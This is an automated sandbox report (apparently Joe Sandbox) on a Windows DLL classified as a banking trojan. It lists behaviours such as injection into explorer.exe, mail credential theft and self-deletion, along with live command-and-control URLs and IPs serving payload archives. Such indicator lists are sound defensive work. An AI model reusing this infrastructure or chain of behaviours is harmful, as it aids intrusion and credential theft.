                      behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 613908 Sample: d6YCUW421p Startdate: 22/04/2022 Architecture: WINDOWS Score: 100 77 8.8.8.8.in-addr.arpa 2->77 79 1.0.0.127.in-addr.arpa 2->79 95 Snort IDS alert for network traffic (e.g. based on Emerging Threat rules) 2->95 97 Found malware configuration 2->97 99 Malicious sample detected (through community Yara rule) 2->99 103 13 other signatures 2->103 10 mshta.exe 19 2->10         started        12 loaddll32.exe 1 2->12         started        signatures3 101 May check the online IP address of the machine 77->101 process4 process5 14 powershell.exe 32 10->14         started        17 cmd.exe 1 12->17         started        19 WerFault.exe 2 9 12->19         started        21 WerFault.exe 3 9 12->21         started        23 WerFault.exe 3 9 12->23         started        signatures6 139 Injects code into the Windows Explorer (explorer.exe) 14->139 141 Writes to foreign memory regions 14->141 143 Modifies the context of a thread in another process (thread injection) 14->143 145 2 other signatures 14->145 25 explorer.exe 14->25 injected 29 csc.exe 14->29         started        32 csc.exe 14->32         started        34 conhost.exe 14->34         started        36 rundll32.exe 1 6 17->36         started        process7 dnsIp8 81 193.56.146.148, 49842, 80 LVLT-10753US unknown 25->81 83 67.43.234.14, 49844, 49846, 80 GTCOMMCA Canada 25->83 87 2 other IPs or domains 25->87 121 Tries to steal Mail credentials (via file / registry access) 25->121 123 Changes memory attributes in foreign processes to executable or writable 25->123 125 Self deletion via cmd delete 25->125 135 6 other signatures 25->135 38 cmd.exe 25->38         started        41 cmd.exe 25->41         started        43 cmd.exe 25->43         started        51 11 other processes 25->51 73 C:\Users\user\AppData\Local\...\vqkyohgm.dll, PE32 29->73 dropped 45 cvtres.exe 29->45         started        75 C:\Users\user\AppData\Local\...\g2letrfe.dll, PE32 32->75 dropped 47 cvtres.exe 32->47         started        85 146.70.35.138, 49750, 80 TENET-1ZA United Kingdom 36->85 127 System process connects to network (likely due to code injection or exploit) 36->127 129 Writes to foreign memory regions 36->129 131 Allocates memory in foreign processes 36->131 133 Writes registry values via WMI 36->133 49 control.exe 36->49         started        file9 signatures10 process11 signatures12 105 Uses ping.exe to sleep 38->105 107 Uses ping.exe to check the status of other devices and networks 38->107 109 Uses nslookup.exe to query domains 38->109 53 conhost.exe 38->53         started        55 PING.EXE 38->55         started        57 nslookup.exe 41->57         started        61 conhost.exe 41->61         started        111 Performs a network lookup / discovery via net view 43->111 69 2 other processes 43->69 113 Changes memory attributes in foreign processes to executable or writable 49->113 115 Injects code into the Windows Explorer (explorer.exe) 49->115 117 Writes to foreign memory regions 49->117 119 4 other signatures 49->119 63 rundll32.exe 49->63         started        65 conhost.exe 51->65         started        67 conhost.exe 51->67         started        71 4 other processes 51->71 process13 dnsIp14 89 222.222.67.208.in-addr.arpa 57->89 91 resolver1.opendns.com 57->91 93 myip.opendns.com 57->93 137 May check the online IP address of the machine 57->137 signatures15

                      Screenshots

                      Thumbnails

                      This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                      windows-stand

                      Antivirus, Machine Learning and Genetic Malware Detection

                      Initial Sample

                      SourceDetectionScannerLabelLink
                      d6YCUW421p.dll37%VirustotalBrowse
                      d6YCUW421p.dll33%ReversingLabsWin32.Trojan.Lazy
                      d6YCUW421p.dll100%Joe Sandbox ML

                      Dropped Files

                      ⊘No Antivirus matches

                      Unpacked PE Files

                      SourceDetectionScannerLabelLinkDownload
                      4.2.rundll32.exe.4ab0000.0.unpack100%AviraHEUR/AGEN.1245293Download File

                      Domains

                      SourceDetectionScannerLabelLink
                      1.0.0.127.in-addr.arpa0%VirustotalBrowse
                      222.222.67.208.in-addr.arpa2%VirustotalBrowse
                      8.8.8.8.in-addr.arpa0%VirustotalBrowse

                      URLs

                      SourceDetectionScannerLabelLink
                      http://193.56.146.148/stilak64.rar0%VirustotalBrowse
                      http://193.56.146.148/stilak64.rar0%Avira URL Cloudsafe
                      http://193.56.146.148/cook64.rar0%Avira URL Cloudsafe
                      https://www.disneyplus.com/legal/your-california-privacy-rights0%URL Reputationsafe
                      http://curlmyip.net0%Avira URL Cloudsafe
                      http://pesterbdd.com/images/Pester.png0%URL Reputationsafe
                      http://ns.micro/1%L0%Avira URL Cloudsafe
                      http://67.43.234.14/images/vdoa2puIgygDcKHOof7W5Nx/Sm5x_2FLro/zObUXzRQyLPWX4K31/W76pZEGagBpT/o6IGunTWfCn/lXzKVuv3SgxDcg/QnnnzAZBFXh1ukr9Caozw/wPM7sTqNdf9sx_2F/Rne6TvIOz1EJrXu/g31KyfFRkwWQ7yEqN4/zXMBf0AoC/FcsOEsPhqIXCKsCLKvy2/p_2BCCsPTnYHLO5apYZ/ZOWl4UxrQhGJIiW3n82a5o/LRy86Sxl6Pzdu/NQ1r9_2F/M2tmRTakUsCXcEs_2FmAAzP/G6Sk1Uhj8yi4/tFtBd.bmp0%Avira URL Cloudsafe
                      http://67.43.234.14/images/fWI73R1_2Fi/dMEh0cq63rRCJy/hEJHCisV7TLXf6s5qDp3z/BCtN_2Bg1My_2Bxo/AhaNT6s6q6_2B58/OQZoTj4FY38JIpdz1z/MCQ_2Fvl2/KaObwwaShYciWGHB8igT/ebmAGB0PycjKyjC2pvQ/6aj0R0O7yrH6fMGLiN7rcC/6qFHr8cars3Gw/I8BuhPaS/BZ6BhWd8QiKaDrJK4XQp4Ag/g0wwOGo1XO/QfQATDgE2jY4Wf7L8/foVbicjFFFm0/9oroSq36Cxf/G6HPMi1wZ9ycu5/gwcS_2Bt/rdAx9WRg/N.bmp0%Avira URL Cloudsafe
                      http://ns.adobp/0%Avira URL Cloudsafe
                      http://constitution.org/usdeclar.txtC:0%URL Reputationsafe
                      https://contoso.com/License0%URL Reputationsafe
                      https://contoso.com/Icon0%URL Reputationsafe
                      http://https://file://USER.ID%lu.exe/upd0%Avira URL Cloudsafe
                      https://www.tiktok.com/legal/report/feedback0%URL Reputationsafe
                      http://curlmyip.netQ8tR9QJN7lLzOLlefile://c:0%Avira URL Cloudsafe
                      http://ns.adobe.cmge0%Avira URL Cloudsafe
                      http://146.70.35.138/phpadmin/O5VHv_2BomBJ/FDSQ3C_2FEh/d3AB91pB2zVZZc/V8xBUftmx0M_2Bqnngedi/DpLLDhwUKQDOSSQS/nVaNzwxkqgcnJXK/SQy2RrteBXCJGPusj_/2Fou9gPbn/TEfuPZW_2FR5wp1JKvFc/BRr_2Bgc4Sh6fwKpLbg/92QNhdYG6IBsInIDDSBHis/CLBmXrf7shSlX/Qy4n9fNl/nE2maUEbSwiaPEHMkNYQxQk/D1KSQzl_2F/HXQWBGmfgthfPqv/9SK.src0%Avira URL Cloudsafe
                      https://www.disneyplus.com/legal/privacy-policy0%URL Reputationsafe
                      http://193.56.146.148/cook32.rar0%Avira URL Cloudsafe
                      http://constitution.org/usdeclar.txt0%URL Reputationsafe
                      http://crl.microsoft.coQ0%Avira URL Cloudsafe
                      http://ns.adobe.uxEN0%Avira URL Cloudsafe
                      http://67.43.234.14/images/exH_2BV5hI6UV32xq/9iKc6ZjImWoQ/GIugApItTP6/eU0FsndbiatJlG/8sZ81QZwXTfmteOvaRx3j/YoZ9Z9WZVb88loFE/XwzEGCF_2FYd014/RsM17SCy13qQU2pAif/TMyGZBQvh/N26WrESLVWVbmtD7LEn9/Rx20gFSw1JZAg58DLOG/BJUKRsQbaNOa0owKYxus_2/BoGrwh_2BDKqm/DuvxAvK6/zywXiP_2Bz0bAUH1Ay0X5pY/Ej1B6Nr9jL/cJXSt0eQu6DGGZWaR/qgLa8p54JO9D/mFJ_2BIO/ix2MS.bmp0%Avira URL Cloudsafe
                      https://contoso.com/0%URL Reputationsafe
                      https://disneyplus.com/legal.0%URL Reputationsafe
                      http://146.70.35.138/phpadmin/TYhCb5d3/Qd3Po_2BKjelP_2F7WSwUso/7m8jnTpLRx/uExGwdKAdHoPBjWMC/elgD5kzT2sqT/T1iJBxA5UdT/uL5VED_2B8E0P8/_2FtpnrB_2FZlg9AlWg_2/BdtlwpvI_2BcVtwg/McOCY72thR3WVt5/wVoK31AOn6hDpHdQON/XBB32U4r8/fKY68F7l0jZNTMcXJ71L/odruZsWwSuNEIUWqi7s/08LTc4yWUohU0pkFp1T8P2/l2fvxomE6/r6zvT.src0%Avira URL Cloudsafe
                      http://193.56.146.148/stilak32.rar0%Avira URL Cloudsafe
                      http://help.disneyplus.com.0%URL Reputationsafe
                      http://146.70.35.138/phpadmin/zilwS36OC_2/FnjmOckuG_2BCm/VAdwDdj_2Fnac_2F0y6xc/deXhx0rBocPzi7tR/z8VoemZhKDJOEZ_/2FB71dJS5j3dZE2NGK/cGLO3t6yJ/yUrrIk8eZ08FZSU_2FS0/2G1FFOzId8doUQdjVtt/kPQnX57urwlFySqx1IZrAD/AgrnwQGGtXT4R/Tizv3fN7/xX9kvTCwfaZ1KZbAGWbajAo/gFAssOtH9Z/e8lp2TS1JzI4llaNY/olcdYO51/byt.src0%Avira URL Cloudsafe

                      Domains and IPs

                      Contacted Domains

                      NameIPActiveMaliciousAntivirus DetectionReputation
                      myip.opendns.com
                      		102.129.143.53
                      		truefalse
                        		high
                        resolver1.opendns.com
                        		208.67.222.222
                        		truefalse
                          		high
                          1.0.0.127.in-addr.arpa
                          		unknown
                          		unknowntrueunknown
                          222.222.67.208.in-addr.arpa
                          		unknown
                          		unknowntrueunknown
                          8.8.8.8.in-addr.arpa
                          		unknown
                          		unknowntrueunknown

                          Contacted URLs

                          NameMaliciousAntivirus DetectionReputation
                          http://193.56.146.148/stilak64.rartrue
                          • 0%, Virustotal, Browse
                          • Avira URL Cloud: safe
                          		unknown
                          http://193.56.146.148/cook64.rartrue
                          • Avira URL Cloud: safe
                          		unknown
                          http://67.43.234.14/images/vdoa2puIgygDcKHOof7W5Nx/Sm5x_2FLro/zObUXzRQyLPWX4K31/W76pZEGagBpT/o6IGunTWfCn/lXzKVuv3SgxDcg/QnnnzAZBFXh1ukr9Caozw/wPM7sTqNdf9sx_2F/Rne6TvIOz1EJrXu/g31KyfFRkwWQ7yEqN4/zXMBf0AoC/FcsOEsPhqIXCKsCLKvy2/p_2BCCsPTnYHLO5apYZ/ZOWl4UxrQhGJIiW3n82a5o/LRy86Sxl6Pzdu/NQ1r9_2F/M2tmRTakUsCXcEs_2FmAAzP/G6Sk1Uhj8yi4/tFtBd.bmptrue
                          • Avira URL Cloud: safe
                          		unknown
                          http://67.43.234.14/images/fWI73R1_2Fi/dMEh0cq63rRCJy/hEJHCisV7TLXf6s5qDp3z/BCtN_2Bg1My_2Bxo/AhaNT6s6q6_2B58/OQZoTj4FY38JIpdz1z/MCQ_2Fvl2/KaObwwaShYciWGHB8igT/ebmAGB0PycjKyjC2pvQ/6aj0R0O7yrH6fMGLiN7rcC/6qFHr8cars3Gw/I8BuhPaS/BZ6BhWd8QiKaDrJK4XQp4Ag/g0wwOGo1XO/QfQATDgE2jY4Wf7L8/foVbicjFFFm0/9oroSq36Cxf/G6HPMi1wZ9ycu5/gwcS_2Bt/rdAx9WRg/N.bmptrue
                          • Avira URL Cloud: safe
                          		unknown
                          http://146.70.35.138/phpadmin/O5VHv_2BomBJ/FDSQ3C_2FEh/d3AB91pB2zVZZc/V8xBUftmx0M_2Bqnngedi/DpLLDhwUKQDOSSQS/nVaNzwxkqgcnJXK/SQy2RrteBXCJGPusj_/2Fou9gPbn/TEfuPZW_2FR5wp1JKvFc/BRr_2Bgc4Sh6fwKpLbg/92QNhdYG6IBsInIDDSBHis/CLBmXrf7shSlX/Qy4n9fNl/nE2maUEbSwiaPEHMkNYQxQk/D1KSQzl_2F/HXQWBGmfgthfPqv/9SK.srctrue
                          • Avira URL Cloud: safe
                          		unknown
                          http://193.56.146.148/cook32.rartrue
                          • Avira URL Cloud: safe
                          		unknown
                          http://67.43.234.14/images/exH_2BV5hI6UV32xq/9iKc6ZjImWoQ/GIugApItTP6/eU0FsndbiatJlG/8sZ81QZwXTfmteOvaRx3j/YoZ9Z9WZVb88loFE/XwzEGCF_2FYd014/RsM17SCy13qQU2pAif/TMyGZBQvh/N26WrESLVWVbmtD7LEn9/Rx20gFSw1JZAg58DLOG/BJUKRsQbaNOa0owKYxus_2/BoGrwh_2BDKqm/DuvxAvK6/zywXiP_2Bz0bAUH1Ay0X5pY/Ej1B6Nr9jL/cJXSt0eQu6DGGZWaR/qgLa8p54JO9D/mFJ_2BIO/ix2MS.bmptrue
                          • Avira URL Cloud: safe
                          		unknown
                          http://146.70.35.138/phpadmin/TYhCb5d3/Qd3Po_2BKjelP_2F7WSwUso/7m8jnTpLRx/uExGwdKAdHoPBjWMC/elgD5kzT2sqT/T1iJBxA5UdT/uL5VED_2B8E0P8/_2FtpnrB_2FZlg9AlWg_2/BdtlwpvI_2BcVtwg/McOCY72thR3WVt5/wVoK31AOn6hDpHdQON/XBB32U4r8/fKY68F7l0jZNTMcXJ71L/odruZsWwSuNEIUWqi7s/08LTc4yWUohU0pkFp1T8P2/l2fvxomE6/r6zvT.srctrue
                          • Avira URL Cloud: safe
                          		unknown
                          http://193.56.146.148/stilak32.rartrue
                          • Avira URL Cloud: safe
                          		unknown
                          http://146.70.35.138/phpadmin/zilwS36OC_2/FnjmOckuG_2BCm/VAdwDdj_2Fnac_2F0y6xc/deXhx0rBocPzi7tR/z8VoemZhKDJOEZ_/2FB71dJS5j3dZE2NGK/cGLO3t6yJ/yUrrIk8eZ08FZSU_2FS0/2G1FFOzId8doUQdjVtt/kPQnX57urwlFySqx1IZrAD/AgrnwQGGtXT4R/Tizv3fN7/xX9kvTCwfaZ1KZbAGWbajAo/gFAssOtH9Z/e8lp2TS1JzI4llaNY/olcdYO51/byt.srctrue
                          • Avira URL Cloud: safe
                          		unknown

                          URLs from Memory and Binaries

                          NameSourceMaliciousAntivirus DetectionReputation
                          https://www.disneyplus.com/legal/your-california-privacy-rightsRuntimeBroker.exe, 0000002E.00000000.662181621.000001EF3607D000.00000004.00000001.00020000.00000000.sdmp, RuntimeBroker.exe, 0000002E.00000000.634193211.000001EF3607D000.00000004.00000001.00020000.00000000.sdmpfalse
                          • URL Reputation: safe
                          		unknown
                          http://nuget.org/NuGet.exepowershell.exe, 00000013.00000002.677172417.0000019853CD1000.00000004.00000800.00020000.00000000.sdmpfalse
                            		high
                            http://curlmyip.netRuntimeBroker.exe, 00000027.00000002.894363379.000002BFD6F02000.00000004.00000001.00020000.00000000.sdmp, rundll32.exe, 00000028.00000002.609045780.0000028A77C7D000.00000004.00000020.00020000.00000000.sdmp, RuntimeBroker.exe, 0000002E.00000002.895620050.000001EF36402000.00000004.00000001.00020000.00000000.sdmp, RuntimeBroker.exe, 00000032.00000002.888570101.0000024373502000.00000004.00000001.00020000.00000000.sdmptrue
                            • Avira URL Cloud: safe
                            		unknown
                            http://pesterbdd.com/images/Pester.pngpowershell.exe, 00000013.00000002.608045211.0000019843E7F000.00000004.00000800.00020000.00000000.sdmpfalse
                            • URL Reputation: safe
                            		unknown
                            http://ns.micro/1%LRuntimeBroker.exe, 0000002E.00000000.666357809.000001EF3392F000.00000004.00000001.00020000.00000000.sdmp, RuntimeBroker.exe, 0000002E.00000000.633216017.000001EF3392F000.00000004.00000001.00020000.00000000.sdmp, RuntimeBroker.exe, 0000002E.00000002.888903264.000001EF3392F000.00000004.00000001.00020000.00000000.sdmpfalse
                            • Avira URL Cloud: safe
                            		unknown
                            http://www.apache.org/licenses/LICENSE-2.0.htmlpowershell.exe, 00000013.00000002.608045211.0000019843E7F000.00000004.00000800.00020000.00000000.sdmpfalse
                              		high
                              http://ns.adobp/RuntimeBroker.exe, 0000002E.00000000.666357809.000001EF3392F000.00000004.00000001.00020000.00000000.sdmp, RuntimeBroker.exe, 0000002E.00000000.633216017.000001EF3392F000.00000004.00000001.00020000.00000000.sdmp, RuntimeBroker.exe, 0000002E.00000002.888903264.000001EF3392F000.00000004.00000001.00020000.00000000.sdmpfalse
                              • Avira URL Cloud: safe
                              		unknown
                              http://constitution.org/usdeclar.txtC:rundll32.exe, 00000004.00000003.491794343.0000000006378000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000013.00000003.504617331.000001985CADC000.00000004.00000020.00020000.00000000.sdmp, control.exe, 0000001A.00000002.610002032.00000224C785C000.00000004.00000020.00020000.00000000.sdmp, control.exe, 0000001A.00000003.508252073.00000224C785C000.00000004.00000020.00020000.00000000.sdmp, control.exe, 0000001A.00000003.508411466.00000224C785C000.00000004.00000020.00020000.00000000.sdmp, control.exe, 0000001A.00000003.594123395.00000224C785C000.00000004.00000020.00020000.00000000.sdmp, RuntimeBroker.exe, 00000027.00000002.894363379.000002BFD6F02000.00000004.00000001.00020000.00000000.sdmp, rundll32.exe, 00000028.00000003.606984804.0000028A77D7C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000028.00000002.609139128.0000028A77D7C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000028.00000003.607160802.0000028A77D7C000.00000004.00000020.00020000.00000000.sdmp, RuntimeBroker.exe, 0000002E.00000002.895620050.000001EF36402000.00000004.00000001.00020000.00000000.sdmp, RuntimeBroker.exe, 00000032.00000002.888570101.0000024373502000.00000004.00000001.00020000.00000000.sdmpfalse
                              • URL Reputation: safe
                              		unknown
                              https://contoso.com/Licensepowershell.exe, 00000013.00000002.677172417.0000019853CD1000.00000004.00000800.00020000.00000000.sdmpfalse
                              • URL Reputation: safe
                              		unknown
                              https://contoso.com/Iconpowershell.exe, 00000013.00000002.677172417.0000019853CD1000.00000004.00000800.00020000.00000000.sdmpfalse
                              • URL Reputation: safe
                              		unknown
                              http://https://file://USER.ID%lu.exe/updrundll32.exe, 00000004.00000003.491794343.0000000006378000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000013.00000003.504617331.000001985CADC000.00000004.00000020.00020000.00000000.sdmp, control.exe, 0000001A.00000002.610002032.00000224C785C000.00000004.00000020.00020000.00000000.sdmp, control.exe, 0000001A.00000003.508252073.00000224C785C000.00000004.00000020.00020000.00000000.sdmp, control.exe, 0000001A.00000003.508411466.00000224C785C000.00000004.00000020.00020000.00000000.sdmp, control.exe, 0000001A.00000003.594123395.00000224C785C000.00000004.00000020.00020000.00000000.sdmp, RuntimeBroker.exe, 00000027.00000002.894363379.000002BFD6F02000.00000004.00000001.00020000.00000000.sdmp, rundll32.exe, 00000028.00000003.606984804.0000028A77D7C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000028.00000002.609139128.0000028A77D7C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000028.00000003.607160802.0000028A77D7C000.00000004.00000020.00020000.00000000.sdmp, RuntimeBroker.exe, 0000002E.00000002.895620050.000001EF36402000.00000004.00000001.00020000.00000000.sdmp, RuntimeBroker.exe, 00000032.00000002.888570101.0000024373502000.00000004.00000001.00020000.00000000.sdmpfalse
                              • Avira URL Cloud: safe
                              		low
                              https://www.tiktok.com/legal/report/feedbackRuntimeBroker.exe, 0000002E.00000000.662181621.000001EF3607D000.00000004.00000001.00020000.00000000.sdmp, RuntimeBroker.exe, 0000002E.00000000.634193211.000001EF3607D000.00000004.00000001.00020000.00000000.sdmpfalse
                              • URL Reputation: safe
                              		unknown
                              http://curlmyip.netQ8tR9QJN7lLzOLlefile://c:RuntimeBroker.exe, 00000027.00000002.894363379.000002BFD6F02000.00000004.00000001.00020000.00000000.sdmp, rundll32.exe, 00000028.00000002.609045780.0000028A77C7D000.00000004.00000020.00020000.00000000.sdmp, RuntimeBroker.exe, 0000002E.00000002.895620050.000001EF36402000.00000004.00000001.00020000.00000000.sdmp, RuntimeBroker.exe, 00000032.00000002.888570101.0000024373502000.00000004.00000001.00020000.00000000.sdmpfalse
                              • Avira URL Cloud: safe
                              		unknown
                              https://github.com/Pester/Pesterpowershell.exe, 00000013.00000002.608045211.0000019843E7F000.00000004.00000800.00020000.00000000.sdmpfalse
                                		high
                                http://ns.adobe.cmgeRuntimeBroker.exe, 0000002E.00000000.666357809.000001EF3392F000.00000004.00000001.00020000.00000000.sdmp, RuntimeBroker.exe, 0000002E.00000000.633216017.000001EF3392F000.00000004.00000001.00020000.00000000.sdmp, RuntimeBroker.exe, 0000002E.00000002.888903264.000001EF3392F000.00000004.00000001.00020000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                https://www.disneyplus.com/legal/privacy-policyRuntimeBroker.exe, 0000002E.00000000.662181621.000001EF3607D000.00000004.00000001.00020000.00000000.sdmp, RuntimeBroker.exe, 0000002E.00000000.634193211.000001EF3607D000.00000004.00000001.00020000.00000000.sdmpfalse
                                • URL Reputation: safe
                                		unknown
                                http://ipinfo.io/ipRuntimeBroker.exe, 00000032.00000002.888570101.0000024373502000.00000004.00000001.00020000.00000000.sdmpfalse
                                  		high
                                  http://constitution.org/usdeclar.txtrundll32.exe, 00000004.00000003.491794343.0000000006378000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000013.00000003.504617331.000001985CADC000.00000004.00000020.00020000.00000000.sdmp, control.exe, 0000001A.00000002.610002032.00000224C785C000.00000004.00000020.00020000.00000000.sdmp, control.exe, 0000001A.00000003.508252073.00000224C785C000.00000004.00000020.00020000.00000000.sdmp, control.exe, 0000001A.00000003.508411466.00000224C785C000.00000004.00000020.00020000.00000000.sdmp, control.exe, 0000001A.00000003.594123395.00000224C785C000.00000004.00000020.00020000.00000000.sdmp, RuntimeBroker.exe, 00000027.00000002.894363379.000002BFD6F02000.00000004.00000001.00020000.00000000.sdmp, rundll32.exe, 00000028.00000003.606984804.0000028A77D7C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000028.00000002.609139128.0000028A77D7C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000028.00000003.607160802.0000028A77D7C000.00000004.00000020.00020000.00000000.sdmp, RuntimeBroker.exe, 0000002E.00000002.895620050.000001EF36402000.00000004.00000001.00020000.00000000.sdmp, RuntimeBroker.exe, 00000032.00000002.888570101.0000024373502000.00000004.00000001.00020000.00000000.sdmpfalse
                                  • URL Reputation: safe
                                  		unknown
                                  http://crl.microsoft.coQpowershell.exe, 00000013.00000003.596263415.000001985C0A1000.00000004.00000020.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://ns.adobe.uxENRuntimeBroker.exe, 0000002E.00000000.666357809.000001EF3392F000.00000004.00000001.00020000.00000000.sdmp, RuntimeBroker.exe, 0000002E.00000000.633216017.000001EF3392F000.00000004.00000001.00020000.00000000.sdmp, RuntimeBroker.exe, 0000002E.00000002.888903264.000001EF3392F000.00000004.00000001.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  https://contoso.com/powershell.exe, 00000013.00000002.677172417.0000019853CD1000.00000004.00000800.00020000.00000000.sdmpfalse
                                  • URL Reputation: safe
                                  		unknown
                                  https://nuget.org/nuget.exepowershell.exe, 00000013.00000002.677172417.0000019853CD1000.00000004.00000800.00020000.00000000.sdmpfalse
                                    		high
                                    https://disneyplus.com/legal.RuntimeBroker.exe, 0000002E.00000000.662181621.000001EF3607D000.00000004.00000001.00020000.00000000.sdmp, RuntimeBroker.exe, 0000002E.00000000.634193211.000001EF3607D000.00000004.00000001.00020000.00000000.sdmpfalse
                                    • URL Reputation: safe
                                    		unknown
                                    http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namepowershell.exe, 00000013.00000002.606222894.0000019843C71000.00000004.00000800.00020000.00000000.sdmpfalse
                                      		high
                                      http://help.disneyplus.com.RuntimeBroker.exe, 0000002E.00000000.662181621.000001EF3607D000.00000004.00000001.00020000.00000000.sdmp, RuntimeBroker.exe, 0000002E.00000000.634193211.000001EF3607D000.00000004.00000001.00020000.00000000.sdmpfalse
                                      • URL Reputation: safe
                                      		unknown

                                      World Map of Contacted IPs

                                      • No. of IPs < 25%
                                      • 25% < No. of IPs < 50%
                                      • 50% < No. of IPs < 75%
                                      • 75% < No. of IPs

                                      Public IPs

                                      IPDomainCountryFlagASNASN NameMalicious
                                      193.56.146.148
                                      		unknownunknown
                                      		10753LVLT-10753UStrue
                                      146.70.35.138
                                      		unknownUnited Kingdom
                                      		2018TENET-1ZAtrue
                                      67.43.234.14
                                      		unknownCanada
                                      		36666GTCOMMCAtrue
                                      67.43.234.37
                                      		unknownCanada
                                      		36666GTCOMMCAtrue

                                      Private

                                      IP
                                      192.168.2.1

                                      General Information

                                      Joe Sandbox Version:34.0.0 Boulder Opal
                                      Analysis ID:613908
                                      Start date and time: 22/04/202216:13:402022-04-22 16:13:40 +02:00
                                      Joe Sandbox Product:CloudBasic
                                      Overall analysis duration:0h 15m 32s
                                      Hypervisor based Inspection enabled:false
                                      Report type:full
                                      Sample file name:d6YCUW421p (renamed file extension from none to dll)
                                      Cookbook file name:default.jbs
                                      Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
                                      Number of analysed new started processes analysed:57
                                      Number of new started drivers analysed:0
                                      Number of existing processes analysed:0
                                      Number of existing drivers analysed:0
                                      Number of injected processes analysed:5
                                      Technologies:
                                      • HCA enabled
                                      • EGA enabled
                                      • HDC enabled
                                      • AMSI enabled
                                      Analysis Mode:default
                                      Analysis stop reason:Timeout
                                      Detection:MAL
                                      Classification:mal100.spre.bank.troj.spyw.evad.winDLL@77/41@6/5
                                      EGA Information:
                                      • Successful, ratio: 66.7%
                                      HDC Information:
                                      • Successful, ratio: 21.2% (good quality ratio 20.1%)
                                      • Quality average: 81%
                                      • Quality standard deviation: 28.6%
                                      HCA Information:
                                      • Successful, ratio: 100%
                                      • Number of executed functions: 165
                                      • Number of non-executed functions: 212
                                      Cookbook Comments:
                                      • Adjust boot time
                                      • Enable AMSI
                                      • Override analysis time to 240s for rundll32

                                      Warnings

                                      • Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WerFault.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, WmiPrvSE.exe, svchost.exe, wuapihost.exe
                                      • Excluded IPs from analysis (whitelisted): 13.107.42.16, 20.189.173.21, 52.168.117.173
                                      • Excluded domains from analysis (whitelisted): onedsblobprdeus16.eastus.cloudapp.azure.com, client.wns.windows.com, fs.microsoft.com, config.edge.skype.com.trafficmanager.net, ctldl.windowsupdate.com, arc.msn.com, ris.api.iris.microsoft.com, login.live.com, l-0007.config.skype.com, config-edge-skype.l-0007.l-msedge.net, blobcollector.events.data.trafficmanager.net, sls.update.microsoft.com, onedsblobprdwus16.westus.cloudapp.azure.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, watson.telemetry.microsoft.com, l-0007.l-msedge.net, config.edge.skype.com
                                      • Execution Graph export aborted for target cmd.exe, PID 6660 because there are no executed function
                                      • Execution Graph export aborted for target mshta.exe, PID 6876 because there are no executed function
                                      • Not all processes where analyzed, report is missing behavior information
                                      • Report size exceeded maximum capacity and may have missing behavior information.
                                      • Report size getting too big, too many NtOpenKeyEx calls found.
                                      • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                      • Report size getting too big, too many NtQueryValueKey calls found.
                                      • Report size getting too big, too many NtReadVirtualMemory calls found.

                                      Simulations

                                      Behavior and APIs

                                      TimeTypeDescription
                                      16:14:55API Interceptor1x Sleep call for process: rundll32.exe modified
                                      16:15:03API Interceptor2x Sleep call for process: WerFault.exe modified
                                      16:15:34API Interceptor41x Sleep call for process: powershell.exe modified
                                      16:17:43API Interceptor1x Sleep call for process: explorer.exe modified

                                      Joe Sandbox View / Context

                                      IPs

                                      ⊘No context

                                      Domains

                                      MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                      resolver1.opendns.comcmicPQEC.exeGet hashmaliciousBrowse
                                      • 208.67.222.222
                                      624c5d1e2a846.dllGet hashmaliciousBrowse
                                      • 208.67.222.222
                                      sawepnTfU6.exeGet hashmaliciousBrowse
                                      • 208.67.222.222
                                      lia.exeGet hashmaliciousBrowse
                                      • 208.67.222.222
                                      gozi.exeGet hashmaliciousBrowse
                                      • 208.67.222.222
                                      2GEg45PlG9.exeGet hashmaliciousBrowse
                                      • 208.67.222.222
                                      FpYf5EGDO9.exeGet hashmaliciousBrowse
                                      • 208.67.222.222
                                      anIV2qJeLD.exeGet hashmaliciousBrowse
                                      • 208.67.222.222
                                      gECym.dllGet hashmaliciousBrowse
                                      • 208.67.222.222
                                      data.dllGet hashmaliciousBrowse
                                      • 208.67.222.222
                                      test1.dllGet hashmaliciousBrowse
                                      • 208.67.222.222
                                      test1.dllGet hashmaliciousBrowse
                                      • 208.67.222.222
                                      97Ys56eAFo.dllGet hashmaliciousBrowse
                                      • 208.67.222.222
                                      new_working_conditions[2021.09.23_12-51].xlsbGet hashmaliciousBrowse
                                      • 208.67.222.222
                                      20210915_id99.dllGet hashmaliciousBrowse
                                      • 208.67.222.222
                                      presentation[2021.09.09_15-26].vbsGet hashmaliciousBrowse
                                      • 208.67.222.222
                                      sample.vbsGet hashmaliciousBrowse
                                      • 208.67.222.222
                                      345678.vbsGet hashmaliciousBrowse
                                      • 208.67.222.222
                                      start[526268].vbsGet hashmaliciousBrowse
                                      • 208.67.222.222
                                      documentation_446618.vbsGet hashmaliciousBrowse
                                      • 208.67.222.222
                                      myip.opendns.comcmicPQEC.exeGet hashmaliciousBrowse
                                      • 84.17.52.18
                                      624c5d1e2a846.dllGet hashmaliciousBrowse
                                      • 102.129.143.67
                                      sawepnTfU6.exeGet hashmaliciousBrowse
                                      • 102.129.143.61
                                      status.dllGet hashmaliciousBrowse
                                      • 102.129.143.42
                                      lia.exeGet hashmaliciousBrowse
                                      • 102.129.143.64
                                      gozi.exeGet hashmaliciousBrowse
                                      • 102.129.143.64
                                      agent_installer (1).exeGet hashmaliciousBrowse
                                      • 102.129.143.62
